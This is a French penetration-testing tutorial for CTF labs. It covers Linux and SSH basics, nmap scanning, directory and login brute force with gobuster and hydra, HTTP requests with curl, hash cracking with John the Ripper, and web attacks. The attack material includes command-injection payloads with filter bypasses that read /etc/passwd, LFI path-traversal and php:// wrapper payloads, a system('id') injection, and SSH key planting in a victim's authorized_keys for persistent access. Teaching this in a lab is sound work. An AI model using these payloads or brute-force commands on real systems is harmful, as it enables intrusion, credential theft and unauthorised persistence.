ls: afficher le contenu du répertoire courant
ls -l: afficher le contenu du répertoire courant, avec des info sur les droits des fichiers
ls -l xxx: afficher les droits du fichier xxx
ls -al : afficher le contenu du répertoire courant, y compris les fichiers cachés
cat xxx: afficher le contenu du fichier xxx
pwd: répertoire courant
cd xxx : se déplacer dans le répertoire xxx
cd .. : se déplacer vers le répertoire parent
id: identifiant du compte et groupes auquel il appartient
uname -a : informations sur le serveur: quelle distribution et version du kernel.
Le système de fichier Unix part de la racine : / Il contient généralement les répertoires:
/home/xxx : un répertoire par compte utilisateur xxx
~ : votre répertoire utilisateur
/root : le répertoire de l'administrateur
/tmp : fichiers temporaires
/bin : commandes systèmes
/etc : fichiers de configuration du système
/var/log : logs des programmes comme le serveur web
/var/www : emplacement par défaut des fichiers des serveurs web
/etc/passwd : liste des comptes de la machine
/etc/hosts : le nom de la machine et ses alias
Les connections aux serveurs se font en ssh. Soit avec un login/password
ssh user@hostname
Soit avec un fichier de clef privée
ssh -i id_rsa user@hostname
Sur les serveurs, il est fréquent d'identifier avec une clef privée plutôt qu'un mot de passe. Vos clefs se trouvent en :
$ ls -al ~/.ssh
total 20
drwx------ 2 yolo yolo 4096 Apr 4 13:47 .
drwxr-xr-x 27 yolo yolo 4096 Apr 4 13:22 ..
-rw------- 1 yolo yolo 2610 Apr 4 13:47 id_rsa
-rw-r--r-- 1 yolo yolo 575 Apr 4 13:47 id_rsa.pub
-rw-r--r-- 1 yolo yolo 1998 Apr 1 19:45 known_hosts
La liste des clef privée permettant de se connecter à votre compte est en :
~/.ssh/authorized_keys
Pour générer une paire de clef privée/publique. Taper juste [entrée] à (empty for no passphrase) pour générer une clef privée sans mot de passe. Taper unmotdepasse [Entrée], votre clef sera chiffrée, et vous devrez taper le mot de passe à chaque utilisation.
$ ssh-keygen -t rsa -b 4096 -C yolo@yoloctf.org -f id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): <=== Si vous tapez XXXX [entrée], votre clef est chiffrée avec le mot de passe XXXX qui sera à taper à chaque utilisation
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:OSHYGRwrI7LM9/8haFfVXgBlXrdHcdfEZxIv9CeWg5Q yolo@yoloctf.org
The key's randomart image is:
+---[RSA 4096]----+
| .o. .+=o*O|
| o.+ .Eo+=X|
|. . + = . ..o*=*|
|oo . o . o. ...+o|
|.o . S. . |
| . . . .. |
| + o . |
| . o . . |
| ... |
+----[SHA256]-----+
Le fichier de clef privée ne doit être lisible que par son propriétaire. Si besoin faire : chmod 600 id_rsa.
vagrant@kali:/home/yolo/tmp$ ls -al
total 16
drwxrwxrwx 2 yolo yolo 4096 Apr 4 13:24 .
drwxr-xr-x 27 yolo yolo 4096 Apr 4 13:22 ..
-rw------- 1 yolo yolo 3381 Apr 4 13:24 id_rsa
-rw-r--r-- 1 yolo yolo 742 Apr 4 13:24 id_rsa.pub
Les entêtes de clef privées sont caractéristiques
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
7KrJLvv/4Ve+Dm5bLwhJ9BkLessiIlGgx0ju+ghI7V+Ar+qAhir5chpVSGH4YIk0J8VDbJ
...
O9mUtgl8PKUd5AQL6sMM/FaYffu7+OFQkJzv3hxyiFEQPhsAo2K55cG8S0RWCX9Jp96U54
lOXLj6MfGkfzuvvFS4pm9iTBrwKq8h7CubmNOnHe3TH3U/Mrzf6wq8MwAEpSeTWfnBGdRP
tHOBQdCIQj3JAAAAEHlvbG9AeW9sb2N0Zi5vcmcBAg==
-----END OPENSSH PRIVATE KEY-----
Entête d'une clef privée protégée par mot de passe:
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
La clef publique associée :
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQAxxxxx8/QoN3NBob3zs4l2mfZWkZNAtCHN2CpQ== yolo@yoloctf.org
openssl rsa -in [id_rsa_sec] -out [id_rsa]
Les clefs publiques permettant de se connecter en ssh sont listées, une clef par ligne, dans le fichier.
~/.ssh/authorized_keys
Une fois sur un compte utilisateur d'un serveur, injectez votre clef publique pour avoir un accès direct en ssh.
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
Si le répertoire n'existe pas, il suffit de le créer:
mkdir /home/victim/.ssh
chmod 700 /home/victim/.ssh
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys
Laissez tomber votre webshell, et revenez en ssh:
ssh -i id_rsa_yolo victim@target.com
Une adresse IP (avec IP pour Internet Protocol) est un numéro d'identification, qui est attribuée, de façon permanente ou provisoire, à chaque périphérique relié à un réseau informatique qui utilise l'Internet Protocol. L'adresse IP est à la base du système d'acheminement des paquets de données sur Internet.
Il existe des adresses IP de version 4 sur 32 bits, et de version 6 sur 128 bits. La version 4 est actuellement la plus utilisée: elle est généralement représentée en notation décimale avec quatre nombres compris entre 0 et 255, séparés par des points, ce qui donne par exemple : 172.16.254.1
Un serveur possède autant d'adresses que de cartes réseaux. Certaines adresses ont une utilisation réservée: 127.0.0.1, appelée loopback désigne notre serveur. 0.0.0.0, désigne l'ensemble des adresses IP de notre serveur.
Sous-réseau L'adresse IP commence par le numéro du réseau suivi du numéro de l'hôte. Nous utilisons une adresse de sous-réseau sur 24 bits : le sous-réseau 10.10.10.1/24 correspond à 10.10.10 et 255 machines. Quand nous scannons 10.10.10.1/24, nous testons toutes les adresses de 10.10.10.1 à 0.10.10.255
Article sur Wikipedia: https://fr.wikipedia.org/wiki/Adresse_IP
$ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
69: eth2@if70: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:0a:0b:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.10.11.3/24 brd 10.10.11.255 scope global eth2
valid_lft forever preferred_lft forever
73: eth1@if74: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:0a:0a:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.10.10.3/24 brd 10.10.10.255 scope global eth1
valid_lft forever preferred_lft forever
75: eth0@if76: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:0a:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.10.0.2/24 brd 10.10.0.255 scope global eth0
valid_lft forever preferred_lft forever
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.0.2 netmask 255.255.255.0 broadcast 10.10.0.255
ether 02:42:0a:0a:00:02 txqueuelen 0 (Ethernet)
RX packets 7567 bytes 573298 (559.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7073 bytes 4046236 (3.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.3 netmask 255.255.255.0 broadcast 10.10.10.255
ether 02:42:0a:0a:0a:03 txqueuelen 0 (Ethernet)
RX packets 15569 bytes 2618290 (2.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20985 bytes 1976399 (1.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.3 netmask 255.255.255.0 broadcast 10.10.11.255
ether 02:42:0a:0a:0b:03 txqueuelen 0 (Ethernet)
RX packets 324 bytes 36877 (36.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 814 bytes 71847 (70.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 814 bytes 71847 (70.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# nmap 10.10.10.4/24
# nmap 10.10.10.1-255
# nmap 10.10.10.4
# nmap -A 10.10.10.4
# nmap -sV -sC -p- 10.10.10.4
# nmap -sU 10.10.10.4
-sV : Attempts to determine the version of the service running on port
-sC : Scan with default NSE scripts. Considered useful for discovery and safe
-A : Enables OS detection, version detection, script scanning, and traceroute
-p- : Port scan all ports
-sU : UDP ports (very slow)
-oN nmap.log : output file
TCP
20: ftp data
21: ftp control
22: ssh
23: telnet
25: SMTP (mail)
37: Time protocol
53: Bind/DNS
69: TFTP (Trivial FTP)
80: HTTP
109: POP2
110: POP3
111: RPC Remote Procedure Call
137: Netbios Name Service
138: Netbios Datagram Service
139: Netbios Session Service
143: IMAP (mail)
161: SNMP
220: IMAP
389: LDAP
443: HTTPS
445: MS Active Directory, SMB
464: Kerberos
1521: Oracle Database
3000: Node JS
3306: MySQL
UDP
69: TFTP
161: SNMP
http://www.0daysecurity.com/penetration-testing/enumeration.html
Le fichier robots.txt, quand il existe, à la racine d'un site web, contient une liste des ressources du site qui ne sont pas censées être indexées par les robots d'indexation des moteurs de recherche. Par convention, les robots consultent robots.txt avant d'indexer un site Web. Ce fichier liste des répertoires, et des fichiers qui peuvent donc nous interresser.
http://10.10.10.8/robots.txt
Plus d'info : https://fr.wikipedia.org/wiki/Protocole_d%27exclusion_des_robots
Les développeurs laissent parfois des informations utiles, voire des mots de passe dans les commentaires du code. Ce sont souvent des urls,ou des champs de formulaires utilisés pour les tests.
/* Secret code */
<!--- Secret code --->
<p hidden>Secret code.</p>
<label style='display: none'>Secret code.</label>
Nous testons méthodiquement des listes de répertoires communs et des noms de fichiers. Par exemple: login.htm, connect.php, register.php,... Logiciels de brute force usuels :
Il est crucial de bien choisir la liste de répertoires/noms de fichiers:
Lancer un scan rapide avec dirb, qui va utiliser sa liste 'common.txt'.
dirb 10.10.10.11
https://github.com/OJ/gobuster
Le télécharger et l'installer en /opt
wget https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z
Bruteforce le site http://10.10.10.11, avec la liste directory-list-2.3-medium.txt, avec des extensions de fichier html,php,js,txt
/opt/gobuster/gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.11 -l -x html,php,js,txt
Pour une url en HTTPS, ajouter l'option de ligne de commande
-k : skip HTTPS ssl verification
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f 10.10.10.157 http-get /monitoring
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.11 http-post-form '/admin/login.php:username=^USER^&password=^PASS^:F=Wrong password:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V
Attention si la réponse est un 302 Redirect, hydra ne va pas suivre et va générer un faux positif.
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.4 http-get-form '/login.php:username=^USER^&password=^PASS^:F=Login failed:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V
Attention si la réponse est un 302 Redirect, hydra ne va pas suivre et va générer un faux positif.
Format des urls
Posts : /index.php?p=22
/index.php/2017/04/12/hello-world/
/index.php/jobs/apply/8/
Login : /wp-login/
/wp-login.php
Uploaded files : /wp-content/uploads/%year%/%month%/%filename%
Fichier de config, et credentials de la base de donnée
/var/www/html/ wordpress/wp-config.php
wordpress/htdocs/wp-config.php
Wpscan connait la structure d'un site wordpress et va faire du brute force pour identifier les pages, le sposts, les users, le thème, les plugins. Les failles de wordpress viennent essentiellement des plugins non mis à jour.
wpscan --url http:10.10.10.10/wordpress/ -e
--url : url de la page wordpress.
-e : énumeration
Brute force du login
wpscan --url http://10.10.10.10/wordpress/ -P rockyou.txt -U admin
Se connecter avec le client mysql.
mysql --host=HOST -u USER -p
--host=précise le nom du serveur
-u le login
-p force la saisie du mot de passe.
Dumper le contenu de la base.
show databases; -- Liste les bases de données.
-- La base 'information_schema' contient des informations internes à mysql ou mariadb. On peut généralement l'ignorer.
use DATABASE;
show tables; -- Liste les tables
SELECT * FROM TABLENAME;
Le protocole HTTP est utilisé par les navigateurs web pour obtenir des documents hébergés par les serveurs. Le navigateur se connecte en TCP à un serveur, sur le port 80 par défaut. La requête minimale contient une commande (ici GET), une URL (/hello.txt), une ligne vide.
GET /hello.txt
La réponse contient directement le fichier.
Hello world
$ printf 'GET /hello.txt \n\r\n' | nc localhost 8001
La version 1.1 du protocole HTTP est optimisée pour transférer des pages HTML complexes, et permet de négocier la langue et les formats d'encodages. La requête minimale contient une commande (GET), une url (/hello.txt), la version (HTTP/1.1), le champ Host, une ligne vide.
GET /hello.txt HTTP/1.1
Host: 10.10.10.11 80
La réponse contient une entête composée de nombreux champs (server, date,...), la longueur du contenu (13), et le contenu sous forme de texte.
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15+
Date: Thu, 26 Dec 2019 17:06:12 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 13
Hello world
Les headers de la réponse sont des mines d'information sur le serveur, sa version... Ici un serveur Apache en version 0.8.4 qui éxécute des scripts avec un interpréteur php en version 7.3.13.
HTTP/1.1 200 OK
Server: Apache/0.8.4
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.13
$ printf 'GET / HTTP/1.1\r\nHost: localhost 8001\r\n\r\n' | nc localhost 8001
Code de réponse HTTP
1xx informational response – the request was received, continuing process
2xx successful – the request was successfully received, understood, and accepted
200 OK
3xx redirection – further action needs to be taken in order to complete the request
301 Moved Permanently => Redirection
304 Not Modified
4xx client error – the request contains bad syntax or cannot be fulfilled
400 Bad request
401 Unauthorized
403 Forbidden
404 Not found
5xx server error – the server failed to fulfil an apparently valid request
500 Internal Server Error
502 Bad Gateway - The server was acting as a gateway or proxy and received an invalid response from the upstream server
503 Service Unavailable - The server cannot handle the request (because it is overloaded or down for maintenance)
504 Gateway Timeout - The server was acting as a gateway or proxy and did not receive a timely response from the upstream server.
https://en.wikipedia.org/wiki/List_of_HTTP_status_codes
Télécharger un fichier :
$ wget http://localhost:8001/
Afficher le contenu de la réponse :
$ curl http://localhost:8001/
Afficher les headers, la requête et le contenu de la réponse :
$ curl -v http://localhost:8001/
Les headers HTTP sont standardisés et sont riches en information.
Exemple:
GET / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
X-MyHeader: value
Pour ajouter un header avec curl : -H 'header: valeur'
$ curl -H 'X-MyHeader: value' http://localhost:8001
L'URI permet de précider une ressource, et d'ajouter des paramètres. Le premier paramètre est identifié par un ?, les suivants par un &. Si les paramètres contiennent des ? ou des &, ils sont encodés sous la forme %3F et %26. On parle de Percent (%) encoding. https://fr.wikipedia.org/wiki/Percent-encoding
Exemple:
$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'
Il est impératif de mettre l'URL entre ', sinon l'& est interprété par le shell.
HTTP permet d'envoyer de s'authentifier en envoyant un identifiant et un mot de passe en clair. Ces informations sont mise sous la former login:password, puis encodées en base64, et ajoutées dans l'entête de la requête. Authorization: Basic bG9naW46cGFzc3dvcmQ= Exemple:
GET /hello.txt HTTP/1.1
Host: localhost:8001
Authorization: Basic bG9naW46cGFzc3dvcmQ=
User-Agent: curl/7.58.0
Accept: */*
Pour envoyer une requête avec des informations d'authentification avec curl:
$ curl -u login:password http://localhost:8001/hello.txt
Pour encoder un login:password dans le terminal
$ printf 'login:password' | base64
bG9naW46cGFzc3dvcmQ=
Pour décoder du base64 dans le terminal
$ printf 'bG9naW46cGFzc3dvcmQ=' | base64 -d
login:password
Pour tester une liste de mots de passe:
for i in `cat rockyou.txt`; do printf \n$i:; curl -u admin:$i http://12.10.1.11/training-http-auth-simple.php; done
Quand une page web comporte un formulaire, pour s'enregistrer ou se connecter, les champs remplis par l'utisateur sont le plus souvent envoyés dans le corps de la requête encodés avec le format 'Percent encoding', et la commande GET devient POST. Exemple:
POST /login.php HTTP/1.1
Host: 10.10.1.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
login=James&password=007
Poster un formulaire avec curl:
$ curl -X POST -F 'username=admin' -F 'password=megapassword' http://localhost:8001/
Les formulaires sont des objets HTML de base, définis par les balises <form> et </form> <input name=''>: Nom des champs de type texte. <form action='': URL a laquelle sera envoyé le formulaire. Si le champ est vide, le formulaire est envoyé à la URL. Exemple:
<form action="/action_page.php">
First name:<br>
<input type="text" name="firstname" value="Mickey"><br>
Last name:<br>
<input type="text" name="lastname" value="Mouse"><br><br>
<input type="submit" value="Submit">
</form>
Poster un formulaire avec curl:
$ curl -X POST -F 'firstname=Mickey' -F 'lastname=Mouse' http://12.10.1.11/action_page.php
Les pages web comportant des formulaires utilisent généralement la commande POST, mais elles peuvent aussi utiliser une commande GET. Dans ce cas, la valeur des paramètres sont directement passés comme argument dans la requète. Ne pas oublier de mettre l'url entre 'cotes' Exemple:
$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'
Dans les formulaires élaborés, les données sont validées en Java Script avant d'être envoyées, au bon format au serveur. JavaScript utilise le format JSon pour envoyer des structures de données. Exemple: {key1:value1, key2:value2}. Dans ce cas, l'entête Content-Type précise le type de données: Content-Type: application/json
Exemple:
POST / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
Content-Type: application/json
Content-Length: 34
{"key1":"value1", "key2":"value2"}
$ curl --header "Content-Type: application/json" -X POST --data '{"key1":"value1", "key2":"value2"}' http://10.10.1.11/
Les formulaires permettent d'uploader des fichiers. Des controles sur les fichiers peuvent être fait en javascript sur le client, ou sur le serveur. On vérifie souvent la taille, le nom, l'extension du fichier, et parfois son header. Un chapitre entier du guide est dédié à l'upload de nos shells. Pour uploader avec curl un fichier correspondant au code HTML <input type=file name=fileToUpload>:
curl -X POST -F 'fileToUpload=@./picture.jpg' http://10.10.1.11/upload
Les cookies servent à stocker des valeurs sur le navigateur qui seront reutilisées entre deux sessions. Ils peuvent contenir des choix de langue, couleurs, et parfois d'authentification... Lire les cookies envoyés par le serveur et les stocker dans un cookie jar.
$ curl -c cookies.txt http://10.10.1.11/cookies.php
Envoyer un cookie sauvegardé, et sauver la nouvelle valeur
$ curl -b cookies.txt -c cookies.txt http://10.10.1.11/cookies.php
Envoyer un cookie modifié à la main
$ curl -b 'code=1447' http://10.10.1.11/cookies.php
L'encodage base64 permet de transmettre des données en n'utilisant que des caractères affichables (lettres, chiffres, quelques signes...)
Quand il faut choisir un mot de passe, ça tombe toujours au plus mauvais moment. Et comme, en plus, il faut s'en souvenir... les mots de passe sont souvent basés sur des notions simples: prénom, marque, souvenir... Heureusement, les responsables de la sécurité imposent des politiques de gestion des mots de passe, conçues pour éviter ces dérives... Enfin, il faut le dire vite ;) Dans 90% des cas, la majuscule est en début de mot de passe, les chiffres et le caractère spécial à la fin... Evitez d'utiliser Vacances12! comme mot de passe...
En décembre 2009, RockYou, une société basée en Californie, qui permettait de s'authentifier sur des application facebook sans avoir à saisir de mots de passe, s'est fait hacker... La base de données contenant les noms et mots de passe en clair de ses 32 millions de clients a été volée puis rendue publique. Une analyse des mots de passe à montré que les deux tiers des mots de passe faisaient moins de 6 caractères, et que le mot de passe le plus utilisé était 123456. Cette liste des mots de passes, triés par fréquence est fréquement utilisée dans les CTF. Sur Kali, le fichier, zippé, est rangé en : /usr/share/wordlists/rockyou.zip Dans le terminal, pour prendre de bonnes habitudes, le fichier est rangé en : /usr/share/wordlists/rockyou.txt fichier de mots de passe Rockyou: rockyou.txt
Pour savoir si ton adresse email est présente dans une fuite de donnée, tu peux utiliser le service de Firefox Monitor. https://monitor.firefox.com/
Un professionnel ne garde jamais un mot de passe en clair. Il enregistre un Hash. Un Hash est généré par une fonction mathématique à partir du mot de passe de l'utilisateur. Quand l'utilisateur saisit son mot de passe, le logiciel calcule le Hash et le transmet au serveur qui le compare avec le Hash qu'il a stocké. Si les deux Hash coincident, alors l'utilisateur connait le mot de passe, et est authentifié. Si un curieux sniffe les messages, il ne verra pas le mot de passe, juste le Hash. Connaissant le Hash, il est compliqué de retrouver le mot de passe. Pour calculer un Hash du mot de passe '123456' avec la fonction MD5, utilise la commande suivante dans le terminal : $ printf '123456' | md5sum 123456 donnera toujours le même Hash MD5. La fonction MD5 a été très utilisée par le passé, mais la puissance des processeurs actuels impose l'utilisation de fonctions plus complexes à craquer comme SHA1 ou SHA256. La taille du Hash augmente avec la complexité de l'algorithme. printf '123456' | sha1sum 7c4a8d09ca3762af61e59520943dc26494f8941b printf '123456' | sha256sum 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 printf '123456' | sha512sum Note: on utilise 'printf' et pas 'echo' pour un calcul de Hash. Echo ajoute un saut de ligne qui est pris en compte par le Hash.
Les Hash plus longs sont plus compliqués à casser, mais il est toujours possible de pré-calculer les valeurs de listes comme RockYou. Pour éviter le précalcul des Hash, nous utilisons des Salts. Ce sont des valeurs supplémentaires que l'on ajoute au début du mot de passe avant de calculer le Hash. La vérification du Hash reste rapide, mais les tables pré-calculées deviennent inutiles, il faut les recalculer pour chaque Salt. Calculer le hash de 123456 avec le Salt ABCDE et la fonction de Hash MD5 en python:
$ python3 -c "import crypt; print(crypt.crypt('123456', '$1$ABCDE$'))"
Avec openssl: -1: MD5 password, -5:SHA256 and -6:SHA512
$ openssl passwd -1 -salt ABCDE 123456
Le résultat est : $1$ABCDE$Kn5RIMYO1QXy7GtJysNSC1 Il est composé de 3 champs : $1 : la fonction utilisée est MD5 ($5 SHA256, $6 SHA512) $ABCDE : le Salt $Kn5RIMYO1QXy7GtJysNSC1 : le Hash calculé en ajoutant le Salt
Pour casser des Hash Online:</br>
- Crackstation : https://crackstation.net/
Le fichier /etc/passwd est un fichier texte dont chaque ligne décrit un compte d'utilisateur. Chaque ligne se compose de sept champs séparés par un deux-points. Voici un exemple d'un enregistrement :
jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)5550044,email:/home/jsmith:/bin/sh
Les champs, de gauche à droite, sont :
Les premières lignes du fichier sont généralement des comptes systèmes. Les comptes utilisateurs sont souvent décrits dans les dernière lignes. Ce fichier permet d'identifier rapidement les utlisateurs, les applications (tomcat, mysql, www_data,...), leurs répertoires de travail, et s'ils ont ou non accès à un shell. Article sur Wikipedia: https://fr.wikipedia.org/wiki/Passwd
John The ripper est l'outil idéal pour vérifier si un Hash a été généré à partir d'un mot de passe présent dans une liste. Enregistrer le Hash dans le fichier pass.txt $ echo '$1$1337$WmteYFHyEYyx2MDVXln7Y1' >pass.txt Utiliser John the ripper pour casser le mot de passe en se servant de la liste par défaut: $ john pass.txt Utiliser John the ripper pour casser le mot de passe en se servant de la liste de mots de passe interne de John: $ john pass.txt Utiliser John the ripper pour casser le mot de passe en se servant de la liste Rockyou: $ john pass.txt --wordlist=/etc/share/wordlists/rockyou.txt John n'affiche plus les mots de passe qu'il a déjà cassé. Pour afficher ces mots de passe: $ john pass.txt --show Il existe plusieurs version de John sur Internet, la version officielle, et des version enrichies.
Bruteforcer /etc/shadows avec John:
$ echo '$6$1337$WmteYFHyEYyx2MDVXln7Y1' >pass.txt
$ john pass.txt --wordlist=/etc/share/wordlists/rockyou.txt
$ john pass.txt --show
Bruteforcer un hash My SQL avec John:
mysql -u dbuser -p drupaldb
show databases;
show tables;
select name, pass from users;
exit
-------+---------------------------------------------------------+
| name | pass |
+-------+---------------------------------------------------------+
| | |
| admin | $S$DvQI6Y6xxxxxxxxxxxxxxxxxxxxxxxxxEDTCP9nS5.i38jnEKuDR |
| Fxxxx | $S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg |
| ..... | $S$Drpxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/x/4ukZ.RXi |
+-------+---------------------------------------------------------+
echo '$S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg'>hash.txt
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt
$ john hash.txt --show
Bruteforcer un id_rsa chiffré (identifiant protégé par mot de passe servant à se connecter en ssh) avec John: Entête de la clef RSA:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
$ python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
$ john hash.txt --show
L'injection de commande Shell est possible quand un programme utilise une donnée, entrée par l'utilisateur, sans la filtrer, comme argument d'une commande shell.
Par exemple: un formulaire permet de saisir son nom et l'afficher. Le code coté serveur va ressembler à:
system ('echo '.$NAME);
Si nous saisissons:
YOLO; cat /etc/password;
Le serveur va enchainer les deux commandes en executant:
system ('echo YOLO; cat /etc/password;');
Nous allons récupérer le contenu du fichier passwd.
Avec une injection de commande nous avons la main sur le serveur. Nous pouvons récupérer des informations sur le serveur (uname -a), recupérer des noms de comptes (cat /etc/passwd), récupérer les fichiers de config du serveur web, lancer un reverse shell...
Utiliser les séparateurs de commandes: ; && | ||
echo YOLO; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd Seulement si la première commande est en echec
Il est possible de forcer l'execution d'une commande avec ` $ et {
echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}
Si un filtre retire les espaces, il est toujours possible de lancer lancer des commandes:
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
Si un filtre recherche une liste de commandes, il est toujours possible de le contourner: simple quote, double quote, backslash et slash
c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami
Et si un nom de fichier est filtré, il est possible de multiplier les / Filtre sur cat et /etc/passwd
c\at /etc////////passwd
De nombreux langages de programmations, comme le php, sont capable de lire des fichiers et les interpréter pour générer des pages HTML dynamiques. Cette fonction peut être détournée si elle prend en entrée une variable modifiable par l'utilisateur.
L'url http://10.10.10.11/index.php?page=login.php est envoyée au serveur. A la réception de cette requête, le serveur va inclure le fichier 'login.php', et l'éxécuter pour générer la page de login.
Nous allons remplacer 'login.php' par le nom d'un autre fichier, qui sera chargé à la place.
http://10.10.10.11/index.php?page=/etc/password
Le serveur web apache fonctionne généralement dans le répertoire /var/www/html. Si nous précisons page=/etc/passwd, le serveur risque de chercher le fichier /var/www/html/etc/passwd. Nous utilisons alors /../ pour remonter d'un répertoire.
/var/www/html/../etc/passwd vaut /var/www/etc/passwd. /var/www/html/../../etc/passwd vaut /var/etc/passwd.
Nous utilisons une série de ../../../../../ devant le nom du fichier pour forcer le serveur à redescendre au niveau de la racine des répertoires. /var/www/html/../../../../../../../ vaut /, quel que soit le nombre de ../
http://10.10.10.11?page=../../../../../etc/passwd
Une LFI permet de lire TOUS les fichiers de la machine que peut lire le serveur web...
Plutot que http://10.10.10.11/index.php?page=login.php, le serveur utilise http://10.10.10.11/index.php?page=login, et ajoute l'extension '.php' avant d'inclure le fichier.
http://10.10.10.11/index.php?page=/etc/password va essayer d'ouvrir sans success /etc/password.php. Nous ajoutons un null byte à la fin de notre paramètre qui va empécher l'ajout de l'extension .php.
http://10.10.10.11/index.php?page=/etc/password%00
< %3C %253C
> %3E %253E
« %22 %2522
‘ %27 %2527
/ %2F %252F
. %2E %252E
= %3D %253D
– %2D %252D
: %3A %253A
Les développeurs ayant conscience des risques de LFI peuvent ajouter des fonctions qui vont filtrer les entrées. Ils vont supprimer les ../ et les / dans le nom du fichier Ce genre de filtre s'appelle un Waf : Web Application Filter. Il est possible de contourner ces filtres de plusieures manières:
Le langage php permet de gérer les flux de façon banalisée. Il est ainsi possible d'injecter un fichier encodé en base64 dans une LFI.
http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php
Il ne reste plus qu'à décoder pour obtenir le code source du fichier php.
Le langage php permet de gérer les flux de façon banalisée. Il est ainsi possible de lire le contenu brut des données en POST avec php://input.
curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input Ne fonctionne que si l'option allow_url_include = On est active dans la config php. Elle est désactivée par défaut.
